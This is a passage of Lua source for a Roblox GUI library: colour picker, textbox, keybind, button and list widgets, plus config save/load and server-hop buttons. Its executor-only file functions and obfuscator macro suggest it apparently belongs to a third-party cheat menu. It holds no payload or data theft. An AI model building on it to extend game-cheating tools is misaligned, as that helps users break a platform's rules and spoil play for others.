            end;

            function cfg.set_visible(bool)
                items[ "colorpicker_fade" ].BackgroundTransparency = 0
                items[ "colorpicker_holder" ].Parent = bool and library[ "items" ] or library[ "other" ]
                items[ "colorpicker_holder" ].Position = dim_offset(items[ "colorpicker" ].AbsolutePosition.X, items[ "colorpicker" ].AbsolutePosition.Y + items[ "colorpicker" ].AbsoluteSize.Y + 45)

                library:tween(items[ "colorpicker_fade" ], {BackgroundTransparency = 1}, Enum.EasingStyle.Quad, 0.4)
                library:tween(items[ "colorpicker_holder" ], {Position = items[ "colorpicker_holder" ].Position + dim_offset(0, 20)}) -- p100 check
                
                if not (self.sanity and library.current_open == self and self.open) then 
                    library:close_element(cfg)
                end
            end

            function cfg.set(color, alpha)
                if type(color) == "boolean" then 
                    return
                end 

                if color then 
                    h, s, v = color:ToHSV()
                end
                
                if alpha then 
                    a = alpha
                end 
                
                local Color = hsv(h, s, v)

                -- Ok so quick story, should I cache any of this? no...?? anyways I know this code is very bad but its your fault for buying a ui with animations (on a serious note im too lazy to make this look nice)
                -- Also further note, yeah I kind of did this scale_factor * size-valuesize.plane because then I would have to do tomfoolery to make it clip properly.
                library:tween(items[ "hue_picker" ], {Position = dim2(0, (items[ "hue_gradient" ].AbsoluteSize.X - items[ "hue_picker" ].AbsoluteSize.X) * h, 0.5, 0)}, Enum.EasingStyle.Linear, 0.05)
                library:tween(items[ "alpha_picker" ], {Position = dim2(0, (items[ "alpha_gradient" ].AbsoluteSize.X - items[ "alpha_picker" ].AbsoluteSize.X) * (1 - a), 0.5, 0)}, Enum.EasingStyle.Linear, 0.05)
                library:tween(items[ "satvalpicker" ], {Position = dim2(0, s * (items[ "saturation_holder" ].AbsoluteSize.X - items[ "satvalpicker" ].AbsoluteSize.X), 1, 1 - v * (items[ "saturation_holder" ].AbsoluteSize.Y - items[ "satvalpicker" ].AbsoluteSize.Y))}, Enum.EasingStyle.Linear, 0.05)

                items[ "alpha_indicator" ]:FindFirstChildOfClass("UIGradient").Color = rgbseq{rgbkey(0, rgb(112, 112, 112)), rgbkey(1, hsv(h, 1, 1))}; -- shit code
                
                items[ "colorpicker" ].BackgroundColor3 = Color
                items[ "colorpicker_inline" ].BackgroundColor3 = Color
                items[ "saturation_holder" ].BackgroundColor3 = hsv(h, 1, 1)

                items[ "hue_picker" ].BackgroundColor3 = hsv(h, 1, 1)
                items[ "alpha_picker" ].BackgroundColor3 = hsv(h, 1, 1 - a)
                items[ "satvalpicker" ].BackgroundColor3 = hsv(h, s, v)

                flags[cfg.flag] = {
                    Color = Color;
                    Transparency = a 
                }
                
                local color = items[ "colorpicker" ].BackgroundColor3
                items[ "input" ].Text = string.format("%s, %s, %s, ", library:round(color.R * 255), library:round(color.G * 255), library:round(color.B * 255))
                items[ "input" ].Text ..= library:round(1 - a, 0.01)
                
                cfg.callback(Color, a)
            end
            
            function cfg.update_color() 
                local mouse = uis:GetMouseLocation() 
                local offset = vec2(mouse.X, mouse.Y - gui_offset) 

                if dragging_sat then	
                    s = math.clamp((offset - items["sat"].AbsolutePosition).X / items["sat"].AbsoluteSize.X, 0, 1)
                    v = 1 - math.clamp((offset - items["sat"].AbsolutePosition).Y / items["sat"].AbsoluteSize.Y, 0, 1)
                elseif dragging_hue then
                    h = math.clamp((offset - items[ "hue_gradient" ].AbsolutePosition).X / items[ "hue_gradient" ].AbsoluteSize.X, 0, 1)
                elseif dragging_alpha then
                    a = 1 - math.clamp((offset - items[ "alpha_gradient" ].AbsolutePosition).X / items[ "alpha_gradient" ].AbsoluteSize.X, 0, 1)
                end

                cfg.set()
            end

            items[ "colorpicker" ].MouseButton1Click:Connect(function()
                cfg.open = not cfg.open 

                cfg.set_visible(cfg.open)            
            end)

            uis.InputChanged:Connect(function(input)
                if (dragging_sat or dragging_hue or dragging_alpha) and input.UserInputType == Enum.UserInputType.MouseMovement then
                    cfg.update_color() 
                end
            end)

            library:connection(uis.InputEnded, function(input)
                if input.UserInputType == Enum.UserInputType.MouseButton1 then
                    dragging_sat = false
                    dragging_hue = false
                    dragging_alpha = false
                end
            end)    

            items[ "alpha_gradient" ].MouseButton1Down:Connect(function()
                dragging_alpha = true 
            end)
            
            items[ "hue_gradient" ].MouseButton1Down:Connect(function()
                dragging_hue = true 
            end)
            
            items[ "sat" ].MouseButton1Down:Connect(function()
                dragging_sat = true  
            end)

            items[ "input" ].FocusLost:Connect(function()
                local text = items[ "input" ].Text
                local r, g, b, a = library:convert(text)
                
                if r and g and b and a then 
                    cfg.set(rgb(r, g, b), 1 - a)
                end 
            end)

            items[ "input" ].Focused:Connect(function()
                library:tween(items[ "input" ], {TextColor3 = rgb(245, 245, 245)})
            end)

            items[ "input" ].FocusLost:Connect(function()
                library:tween(items[ "input" ], {TextColor3 = rgb(72, 72, 72)})
            end)
            
            cfg.set(cfg.color, cfg.alpha)
            config_flags[cfg.flag] = cfg.set

            return setmetatable(cfg, library)
        end 

        function library:textbox(options) 
            local cfg = {
                name = options.name or "TextBox",
                placeholder = options.placeholder or options.placeholdertext or options.holder or options.holdertext or "type here...",
                default = options.default or "",
                flag = options.flag or library:next_flag(),
                callback = options.callback or function() end,
                visible = options.visible or true,
                items = {};
            }

            flags[cfg.flag] = cfg.default

            local items = cfg.items; do 
                items[ "textbox" ] = library:create( "TextButton" , {
                    LayoutOrder = -1;
                    FontFace = fonts.font;
                    TextColor3 = rgb(0, 0, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = "";
                    Parent = self.items[ "elements" ];
                    Name = "\0";
                    BackgroundTransparency = 1;
                    Size = dim2(1, 0, 0, 0);
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.Y;
                    TextSize = 14;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                items[ "name" ] = library:create( "TextLabel" , {
                    FontFace = fonts.font;
                    TextColor3 = rgb(245, 245, 245);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = cfg.name;
                    Parent = items[ "textbox" ];
                    Name = "\0";
                    Size = dim2(1, 0, 0, 0);
                    BackgroundTransparency = 1;
                    TextXAlignment = Enum.TextXAlignment.Left;
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.XY;
                    TextSize = 16;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                library:create( "UIPadding" , {
                    Parent = items[ "name" ];
                    PaddingRight = dim(0, 5);
                    PaddingLeft = dim(0, 5)
                });
                
                items[ "right_components" ] = library:create( "Frame" , {
                    Parent = items[ "textbox" ];
                    Name = "\0";
                    BackgroundTransparency = 1;
                    Position = dim2(0, 4, 0, 19);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, 0, 0, 12);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                library:create( "UIListLayout" , {
                    Parent = items[ "right_components" ];
                    Padding = dim(0, 7);
                    SortOrder = Enum.SortOrder.LayoutOrder;
                    FillDirection = Enum.FillDirection.Horizontal
                });
                
                items[ "input" ] = library:create( "TextBox" , {
                    FontFace = fonts.font;
                    Text = "";
                    Parent = items[ "right_components" ];
                    Name = "\0";
                    TextTruncate = Enum.TextTruncate.AtEnd;
                    BorderSizePixel = 0;
                    PlaceholderColor3 = rgb(255, 255, 255);
                    CursorPosition = -1;
                    ClearTextOnFocus = false;
                    TextSize = 14;
                    BackgroundColor3 = rgb(255, 255, 255);
                    TextColor3 = rgb(72, 72, 72);
                    BorderColor3 = rgb(0, 0, 0);
                    Position = dim2(1, 0, 0, 0);
                    Size = dim2(1, -4, 0, 30);
                    BackgroundColor3 = rgb(33, 33, 35)
                }); 

                library:create( "UICorner" , {
                    Parent = items[ "input" ];
                    CornerRadius = dim(0, 3)
                });                
                
                library:create( "UIPadding" , {
                    Parent = items[ "right_components" ];
                    PaddingTop = dim(0, 4);
                    PaddingRight = dim(0, 4)
                });
            end 
            
            function cfg.set(text) 
                flags[cfg.flag] = text

                items[ "input" ].Text = text

                cfg.callback(text)
            end 
            
            items[ "input" ]:GetPropertyChangedSignal("Text"):Connect(function()
                cfg.set(items[ "input" ].Text) 
            end)

            items[ "input" ].Focused:Connect(function()
                library:tween(items[ "input" ], {TextColor3 = rgb(245, 245, 245)})
            end)

            items[ "input" ].FocusLost:Connect(function()
                library:tween(items[ "input" ], {TextColor3 = rgb(72, 72, 72)})
            end)
                
            if cfg.default then 
                cfg.set(cfg.default) 
            end

            config_flags[cfg.flag] = cfg.set

            return setmetatable(cfg, library)
        end

        function library:keybind(options) 
            local cfg = {
                flag = options.flag or library:next_flag(),
                callback = options.callback or function() end,
                name = options.name or nil, 
                ignore_key = options.ignore or false, 
                seperator = options.seperator or false,

                key = options.key or nil, 
                mode = options.mode or "Toggle",
                active = options.default or false, 

                open = false,
                binding = nil, 

                hold_instances = {},
                items = {};
            }

            flags[cfg.flag] = {
                mode = cfg.mode,
                key = cfg.key, 
                active = cfg.active
            }

            local items = cfg.items; do 
                -- Component
                    items[ "keybind_element" ] = library:create( "TextButton" , {
                        FontFace = fonts.font;
                        TextColor3 = rgb(0, 0, 0);
                        BorderColor3 = rgb(0, 0, 0);
                        Text = "";
                        Parent = self.items[ "elements" ];
                        Name = "\0";
                        BackgroundTransparency = 1;
                        Size = dim2(1, 0, 0, 0);
                        BorderSizePixel = 0;
                        AutomaticSize = Enum.AutomaticSize.Y;
                        TextSize = 14;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                    
                    items[ "name" ] = library:create( "TextLabel" , {
                        FontFace = fonts.font;
                        TextColor3 = rgb(245, 245, 245);
                        BorderColor3 = rgb(0, 0, 0);
                        Text = cfg.name;
                        Parent = items[ "keybind_element" ];
                        Name = "\0";
                        Size = dim2(1, 0, 0, 0);
                        BackgroundTransparency = 1;
                        TextXAlignment = Enum.TextXAlignment.Left;
                        BorderSizePixel = 0;
                        AutomaticSize = Enum.AutomaticSize.XY;
                        TextSize = 16;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                    
                    library:create( "UIPadding" , {
                        Parent = items[ "name" ];
                        PaddingRight = dim(0, 5);
                        PaddingLeft = dim(0, 5)
                    });
                    
                    items[ "right_components" ] = library:create( "Frame" , {
                        Parent = items[ "keybind_element" ];
                        Name = "\0";
                        Position = dim2(1, 0, 0, 0);
                        BorderColor3 = rgb(0, 0, 0);
                        Size = dim2(0, 0, 1, 0);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                    
                    library:create( "UIListLayout" , {
                        FillDirection = Enum.FillDirection.Horizontal;
                        HorizontalAlignment = Enum.HorizontalAlignment.Right;
                        Parent = items[ "right_components" ];
                        Padding = dim(0, 7);
                        SortOrder = Enum.SortOrder.LayoutOrder
                    });
                    
                    items[ "keybind_holder" ] = library:create( "TextButton" , {
                        FontFace = fonts.font;
                        TextColor3 = rgb(0, 0, 0);
                        BorderColor3 = rgb(0, 0, 0);
                        Text = "";
                        Parent = items[ "right_components" ];
                        AutoButtonColor = false;
                        AnchorPoint = vec2(1, 0);
                        Size = dim2(0, 0, 0, 16);
                        Name = "\0";
                        Position = dim2(1, 0, 0, 0);
                        BorderSizePixel = 0;
                        AutomaticSize = Enum.AutomaticSize.X;
                        TextSize = 14;
                        BackgroundColor3 = rgb(33, 33, 35)
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "keybind_holder" ];
                        CornerRadius = dim(0, 4)
                    });
                    
                    items[ "key" ] = library:create( "TextLabel" , {
                        FontFace = fonts.font;
                        TextColor3 = rgb(86, 86, 87);
                        BorderColor3 = rgb(0, 0, 0);
                        Text = "LSHIFT";
                        Parent = items[ "keybind_holder" ];
                        Name = "\0";
                        Size = dim2(1, -12, 0, 0);
                        BackgroundTransparency = 1;
                        TextXAlignment = Enum.TextXAlignment.Left;
                        BorderSizePixel = 0;
                        AutomaticSize = Enum.AutomaticSize.XY;
                        TextSize = 14;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                    
                    library:create( "UIPadding" , {
                        Parent = items[ "key" ];
                        PaddingTop = dim(0, 1);
                        PaddingRight = dim(0, 5);
                        PaddingLeft = dim(0, 5)
                    });                                  
                -- 
                
                -- Mode Holder
                    items[ "dropdown" ] = library:create( "Frame" , {
                        BorderColor3 = rgb(0, 0, 0);
                        Parent = library.items;
                        Name = "\0";
                        BackgroundTransparency = 1;
                        Position = dim2(0, 0, 0, 0);
                        Size = dim2(0, 0, 0, 0);
                        BorderSizePixel = 0;
                        AutomaticSize = Enum.AutomaticSize.X;
                        BackgroundColor3 = rgb(0, 0, 0)
                    });
                    
                    items[ "inline" ] = library:create( "Frame" , {
                        Parent = items[ "dropdown" ];
                        Size = dim2(1, 0, 1, 0);
                        Name = "\0";
                        ClipsDescendants = true;
                        BorderColor3 = rgb(0, 0, 0);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(22, 22, 24)
                    });
                    
                    library:create( "UIPadding" , {
                        PaddingBottom = dim(0, 6);
                        PaddingTop = dim(0, 3);
                        PaddingLeft = dim(0, 3);
                        Parent = items[ "inline" ]
                    });
                    
                    library:create( "UIListLayout" , {
                        Parent = items[ "inline" ];
                        Padding = dim(0, 5);
                        SortOrder = Enum.SortOrder.LayoutOrder
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "inline" ];
                        CornerRadius = dim(0, 4)
                    });
                    
                    local options = {"Hold", "Toggle", "Always"}
                    
                    cfg.y_size = 20
                    for _, option in options do                        
                        local name = library:create( "TextButton" , {
                            FontFace = fonts.font;
                            TextColor3 = rgb(72, 72, 73);
                            BorderColor3 = rgb(0, 0, 0);
                            Text = option;
                            Parent = items[ "inline" ];
                            Name = "\0";
                            Size = dim2(0, 0, 0, 0);
                            BackgroundTransparency = 1;
                            TextXAlignment = Enum.TextXAlignment.Left;
                            BorderSizePixel = 0;
                            AutomaticSize = Enum.AutomaticSize.XY;
                            TextSize = 14;
                            BackgroundColor3 = rgb(255, 255, 255)
                        }); cfg.hold_instances[option] = name
                        library:apply_theme(name, "accent", "TextColor3")
                        
                        cfg.y_size += name.AbsoluteSize.Y

                        library:create( "UIPadding" , {
                            Parent = name;
                            PaddingTop = dim(0, 1);
                            PaddingRight = dim(0, 5);
                            PaddingLeft = dim(0, 5)
                        });

                        name.MouseButton1Click:Connect(function()
                            cfg.set(option)

                            cfg.set_visible(false)

                            cfg.open = false
                        end)
                    end
                -- 
            end 

            if cfg.seperator then -- ok bro my lua either sucks or this was a pain in the ass to make (simple if statement aswell 💔)
                library:create( "Frame" , {
                    AnchorPoint = vec2(0, 1);
                    Parent = self.items[ "elements" ];
                    Position = dim2(0, 0, 1, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, 1, 0, 1);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(36, 36, 37)
                });
            end
            
            function cfg.modify_mode_color(path) -- ts so frikin tuff 💀
                for _, v in cfg.hold_instances do 
                    v.TextColor3 = rgb(72, 72, 72)
                end 

                cfg.hold_instances[path].TextColor3 = themes.preset.accent
            end

            function cfg.set_mode(mode) 
                cfg.mode = mode 

                if mode == "Always" then
                    cfg.set(true)
                elseif mode == "Hold" then
                    cfg.set(false)
                end

                flags[cfg.flag]["mode"] = mode
                cfg.modify_mode_color(mode)
            end 

            function cfg.set(input)
                if type(input) == "boolean" then 
                    cfg.active = input

                    if cfg.mode == "Always" then 
                        cfg.active = true
                    end
                elseif tostring(input):find("Enum") then 
                    input = input.Name == "Escape" and "NONE" or input
                    
                    cfg.key = input or "NONE"	
                elseif find({"Toggle", "Hold", "Always"}, input) then 
                    if input == "Always" then 
                        cfg.active = true 
                    end 

                    cfg.mode = input
                    cfg.set_mode(cfg.mode) 
                elseif type(input) == "table" then 
                    input.key = type(input.key) == "string" and input.key ~= "NONE" and library:convert_enum(input.key) or input.key
                    input.key = input.key == Enum.KeyCode.Escape and "NONE" or input.key

                    cfg.key = input.key or "NONE"
                    cfg.mode = input.mode or "Toggle"

                    if input.active then
                        cfg.active = input.active
                    end

                    cfg.set_mode(cfg.mode) 
                end 

                cfg.callback(cfg.active)

                local text = tostring(cfg.key) ~= "Enums" and (keys[cfg.key] or tostring(cfg.key):gsub("Enum.", "")) or nil
                local __text = text and (tostring(text):gsub("KeyCode.", ""):gsub("UserInputType.", ""))
                
                items[ "key" ].Text = __text

                flags[cfg.flag] = {
                    mode = cfg.mode,
                    key = cfg.key, 
                    active = cfg.active
                }
            end

            function cfg.set_visible(bool)
                local size = bool and cfg.y_size or 0
                library:tween(items[ "dropdown" ], {Size = dim_offset(items[ "keybind_holder" ].AbsoluteSize.X, size)})

                items[ "dropdown" ].Position = dim_offset(items[ "keybind_holder" ].AbsolutePosition.X, items[ "keybind_holder" ].AbsolutePosition.Y + items[ "keybind_holder" ].AbsoluteSize.Y + 60)
            end
        
            items[ "keybind_holder" ].MouseButton1Down:Connect(function()
                task.wait()
                items[ "key" ].Text = "..."	

                cfg.binding = library:connection(uis.InputBegan, function(keycode, game_event)  
                    cfg.set(keycode.KeyCode ~= Enum.KeyCode.Unknown and keycode.KeyCode or keycode.UserInputType)
                    
                    cfg.binding:Disconnect() 
                    cfg.binding = nil
                end)
            end)

            items[ "keybind_holder" ].MouseButton2Down:Connect(function()
                cfg.open = not cfg.open 

                cfg.set_visible(cfg.open)
            end)

            library:connection(uis.InputBegan, function(input, game_event) 
                if not game_event then
                    local selected_key = input.UserInputType == Enum.UserInputType.Keyboard and input.KeyCode or input.UserInputType

                    if selected_key == cfg.key then 
                        if cfg.mode == "Toggle" then 
                            cfg.active = not cfg.active
                            cfg.set(cfg.active)
                        elseif cfg.mode == "Hold" then 
                            cfg.set(true)
                        end
                    end
                end
            end)    

            library:connection(uis.InputEnded, function(input, game_event) 
                if game_event then 
                    return 
                end 

                local selected_key = input.UserInputType == Enum.UserInputType.Keyboard and input.KeyCode or input.UserInputType
    
                if selected_key == cfg.key then
                    if cfg.mode == "Hold" then 
                        cfg.set(false)
                    end
                end
            end)
            
            cfg.set({mode = cfg.mode, active = cfg.active, key = cfg.key})           
            config_flags[cfg.flag] = cfg.set

            return setmetatable(cfg, library)
        end

        function library:button(options) 
            local cfg = {
                name = options.name or "TextBox",
                callback = options.callback or function() end,
                items = {};
            }
            
            local items = cfg.items; do 
                items[ "button_element" ] = library:create( "Frame" , {
                    Parent = self.items[ "elements" ];
                    Name = "\0";
                    BackgroundTransparency = 1;
                    Size = dim2(1, 0, 0, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.Y;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                items[ "button" ] = library:create( "TextButton" , {
                    FontFace = fonts.font;
                    TextColor3 = rgb(0, 0, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = "";
                    AutoButtonColor = false;
                    AnchorPoint = vec2(1, 0);
                    Parent = items[ "button_element" ];
                    Name = "\0";
                    Position = dim2(1, -4, 0, 0);
                    Size = dim2(1, -8, 0, 30);
                    BorderSizePixel = 0;
                    TextSize = 14;
                    BackgroundColor3 = rgb(33, 33, 35)
                });
                
                library:create( "UICorner" , {
                    Parent = items[ "button" ];
                    CornerRadius = dim(0, 3)
                });
                
                items[ "name" ] = library:create( "TextLabel" , {
                    FontFace = fonts.small;
                    TextColor3 = rgb(245, 245, 245);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = cfg.name;
                    Parent = items[ "button" ];
                    Name = "\0";
                    BackgroundTransparency = 1;
                    Size = dim2(1, 0, 1, 0);
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.XY;
                    TextSize = 14;
                    BackgroundColor3 = rgb(255, 255, 255)
                }); library:apply_theme(items[ "name" ], "accent", "BackgroundColor3");                            
            end 

            items[ "button" ].MouseButton1Click:Connect(function()
                cfg.callback()

                items[ "name" ].TextColor3 = themes.preset.accent 
                library:tween(items[ "name" ], {TextColor3 = rgb(245, 245, 245)})
            end)
            
            return setmetatable(cfg, library)
        end 

        function library:settings(options)  
            local cfg = {
                open = false; 
                items = {}; 
                sanity = true; -- made this for my own sanity.
            }

            local items = cfg.items; do 
                items[ "outline" ] = library:create( "Frame" , {
                    Name = "\0";
                    Visible = true;
                    Parent = library[ "items" ];
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(0, 0, 0, 0);
                    ClipsDescendants = true;
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.Y;
                    BackgroundColor3 = rgb(25, 25, 29)
                });
                
                items[ "inline" ] = library:create( "Frame" , {
                    Parent = items[ "outline" ];
                    Name = "\0";
                    Position = dim2(0, 1, 0, 1);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, -2, 1, -2);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(22, 22, 24)
                });
                
                library:create( "UICorner" , {
                    Parent = items[ "inline" ];
                    CornerRadius = dim(0, 7)
                });
                
                items[ "elements" ] = library:create( "Frame" , {
                    BorderColor3 = rgb(0, 0, 0);
                    Parent = items[ "inline" ];
                    Name = "\0";
                    BackgroundTransparency = 1;
                    Position = dim2(0, 10, 0, 10);
                    Size = dim2(1, -20, 0, 0);
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.Y;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                library:create( "UIListLayout" , {
                    Parent = items[ "elements" ];
                    Padding = dim(0, 10);
                    SortOrder = Enum.SortOrder.LayoutOrder
                });
                
                library:create( "UIPadding" , {
                    PaddingBottom = dim(0, 15);
                    Parent = items[ "elements" ]
                });
                
                library:create( "UICorner" , {
                    Parent = items[ "outline" ];
                    CornerRadius = dim(0, 7)
                });
                
                library:create( "UICorner" , {
                    Parent = items[ "fade" ];
                    CornerRadius = dim(0, 7)
                });
                
                items[ "tick" ] = library:create( "ImageButton" , {
                    Image = "rbxassetid://128797200442698";
                    Name = "\0";
                    AutoButtonColor = false;
                    Parent = self.items[ "right_components" ];
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(0, 16, 0, 16);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(255, 255, 255)
                });                
            end 

            function cfg.set_visible(bool)                 
                library:tween(items[ "outline" ], {Size = dim_offset(bool and 240 or 0, 0)})
                items[ "outline" ].Position = dim_offset(items[ "tick" ].AbsolutePosition.X, items[ "tick" ].AbsolutePosition.Y + 90)
                library:close_element(cfg)
            end
            
            items[ "tick" ].MouseButton1Click:Connect(function()
                cfg.open = not cfg.open

                cfg.set_visible(cfg.open)
            end)

            return setmetatable(cfg, library)
        end 

        function library:list(properties) 
            local cfg = {
                items = {};
                options = properties.options or {"1", "2", "3"};
                flag = properties.flag or library:next_flag();    
                callback = properties.callback or function() end;
                data_store = {};        
                current_element;
            }

            local items = cfg.items; do
                items[ "list" ] = library:create( "Frame" , {
                    Parent = self.items[ "elements" ];
                    BackgroundTransparency = 1;
                    Name = "\0";
                    Size = dim2(1, 0, 0, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.XY;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                library:create( "UIListLayout" , {
                    Parent = items[ "list" ];
                    Padding = dim(0, 10);
                    SortOrder = Enum.SortOrder.LayoutOrder
                });
                
                library:create( "UIPadding" , {
                    Parent = items[ "list" ];
                    PaddingRight = dim(0, 4);
                    PaddingLeft = dim(0, 4)
                });
            end 

            function cfg.refresh_options(options_to_refresh)
                local old_selected_value = flags[cfg.flag] -- store current selected option string
                cfg.current_element = nil -- reset current UI element
                for _, option in cfg.data_store do 
                    option:Destroy()
                end
                cfg.data_store = {}

                for _, option_data in options_to_refresh do
                    local button = library:create("TextButton", {
                        FontFace = fonts.small;
                        TextColor3 = rgb(0, 0, 0);
                        BorderColor3 = rgb(0, 0, 0);
                        Text = "";
                        AutoButtonColor = false;
                        AnchorPoint = vec2(1, 0);
                        Parent = items["list"];
                        Name = "\0";
                        Position = dim2(1, 0, 0, 0);
                        Size = dim2(1, 0, 0, 30);
                        BorderSizePixel = 0;
                        TextSize = 14;
                        BackgroundColor3 = rgb(33, 33, 35)
                    }); cfg.data_store[#cfg.data_store + 1] = button;

                    local name = library:create("TextLabel", {
                        FontFace = fonts.font;
                        TextColor3 = rgb(72, 72, 73);
                        BorderColor3 = rgb(0, 0, 0);
                        Text = option_data;
                        Parent = button;
                        Name = "\0";
                        BackgroundTransparency = 1;
                        Size = dim2(1, 0, 1, 0);
                        BorderSizePixel = 0;
                        AutomaticSize = Enum.AutomaticSize.XY;
                        TextSize = 14;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });

                    library:create("UICorner", {
                        Parent = button;
                        CornerRadius = dim(0, 3)
                    });

                    -- Apply selection highlight if this is the old selected option
                    if option_data == old_selected_value then
                        library:tween(name, {TextColor3 = rgb(245, 245, 245)})
                        cfg.current_element = name
                    end

                    button.MouseButton1Click:Connect(function()
                        local current = cfg.current_element 
                        if current and current ~= name then 
                            library:tween(current, {TextColor3 = rgb(72, 72, 72)})
                        end

                        flags[cfg.flag] = option_data
                        cfg.callback(option_data)
                        library:tween(name, {TextColor3 = rgb(245, 245, 245)})
                        cfg.current_element = name
                    end)

                    name.MouseEnter:Connect(function()
                        if cfg.current_element == name then return end
                        library:tween(name, {TextColor3 = rgb(140, 140, 140)})
                    end)

                    name.MouseLeave:Connect(function()
                        if cfg.current_element == name then return end
                        library:tween(name, {TextColor3 = rgb(72, 72, 72)})
                    end)
                end
            end


            cfg.refresh_options(cfg.options)

            return setmetatable(cfg, library)
        end 

        function library:init_config(window) 
            window:seperator({name = "Settings"})
            local main, playerlist = window:tab({name = "Configs", tabs = {"Main", "Playerlist"}})
            
            local column = main:column({})
            local section = column:section({name = "Configs", size = 1, default = false, icon = "rbxassetid://139628202576511"})
            config_holder = section:list({options = {"Report", "This", "Error", "To", "Finobe"}, callback = function(option) end, flag = "config_name_list"}); library:update_config_list()
            
            local column = main:column({})
            local section = column:section({name = "Settings", side = "right", size = 1, default = false, icon = GetImage("Settings.png")})
            section:textbox({name = "Config name:", flag = "config_name_text"})
            section:button({
                name = "Save",
                callback = function()
                    pcall(function()
                        local config_name = (flags["config_name_text"])
                        writefile(library.directory .. "/configs/" .. config_name .. ".cfg", library:get_config())
                        library:update_config_list()
                        notifications:create_notification({
                            name = "Configs",
                            info = "Saved config to:\n" .. config_name
                        })
                    end)
                end
            })

            section:button({
                name = "Overwrite",
                callback = function()
                    pcall(function()
                        local config_name = (flags["config_name_list"])
                        writefile(library.directory .. "/configs/" .. config_name .. ".cfg", library:get_config())
                        library:update_config_list()
                        notifications:create_notification({
                            name = "Configs",
                            info = "Overwrote config :\n" .. config_name
                        })
                    end)
                end
            })

            section:button({
                name = "Load",
                callback = function()
                    pcall(function()
                        local config_name = flags["config_name_list"]
                        library:load_config(readfile(library.directory .. "/configs/" .. config_name .. ".cfg"))
                        library:update_config_list()
                        notifications:create_notification({
                            name = "Configs",
                            info = "Loaded config:\n" .. config_name
                        })
                    end)
                end
            })

            section:button({
                name = "Delete",
                callback = function()
                pcall(function()
                        local config_name = flags["config_name_list"]
                        delfile(library.directory .. "/configs/" .. config_name .. ".cfg")
                        library:update_config_list()
                        notifications:create_notification({
                            name = "Configs",
                            info = "Deleted config:\n" .. config_name
                        })
                    end)
                end
            })

            section:colorpicker({name = "Menu Accent", callback = function(color, alpha) library:update_theme("accent", color) end, color = themes.preset.accent})
            section:keybind({name = "Menu Bind", key = Enum.KeyCode.Insert, callback = function(bool) window.toggle_menu(bool) end, seperator = true, default = true})

            local _request = (http_request and http_request) or (request and request) or (http and http.request)

            section:button({name = "Join Lowest Server", callback = function()
                local Servers = string.format("https://games.roblox.com/v1/games/%s/servers/Public?sortOrder=Asc&limit=100", tostring(game.PlaceId))
        
                local ListServers = function(cursor)
                    local Raw = game:HttpGet(Servers .. ((cursor and "&cursor="..cursor) or ""))
                    return Services.HttpService:JSONDecode(Raw)
                end
        
                local Server, Next; repeat
                    local Servers = ListServers(Next)
                    Server = Servers.data[1]
                    Next = Servers.nextPageCursor
                until Server
        
                if Server.id == game.JobId then
                    library.notifications:create_notification({
                        name = "bronx.lol",
                        info = `You are currently in the smallest server!`,
                        lifetime = 10
                    })
                    return  
                end 
                
                Services.TeleportService:TeleportToPlaceInstance(game.PlaceId, Server.id)
            end})

            section:button({name = "Server Hop", callback = function()
                local Servers = {}
                local Request = _request({Url = string.format("https://games.roblox.com/v1/games/%d/servers/Public?sortOrder=Desc&limit=100&excludeFullGames=true", tostring(game.PlaceId))})
                local Body = Services.HttpService:JSONDecode(Request.Body)
        
                if Body and Body.data then
                    for _, Value in next, Body.data do
                        if type(Value) == "table" and tonumber(Value.playing) and tonumber(Value.maxPlayers) and Value.playing < Value.maxPlayers and Value.id ~= game.JobId then
                            table.insert(Servers, 1, Value.id)
                        end
                    end
                end
        
                Services.TeleportService:TeleportToPlaceInstance(game.PlaceId, Servers[math.random(1, #Servers)])
            end})

            section:button({name = "Rejoin", callback = function()
                Services.TeleportService:TeleportToPlaceInstance(game.PlaceId, game.JobId)
            end})
            
            local _column = playerlist:column({})
            local _section = _column:section({name = "Players", size = 1, default = false})

            local plr_list = _section:list({options = {}, flag = "player_list"});

            _column = playerlist:column({})

            _section = _column:section({name = "Player Options", size = 1, default = false, side = 'right'})

            local _playerlabel = _section:label({name = "Selected Player : None"})

            task.spawn(LPH_NO_VIRTUALIZE(function()
                while task.wait(0.01) do
                    _playerlabel.set(string.format("Selected Player : %s", library.flags["player_list"] or "None"))
                end
            end))

            local _statuslabel = _section:label({name = "Status : None"})

            task.spawn(LPH_NO_VIRTUALIZE(function()
                while task.wait(0.01) do
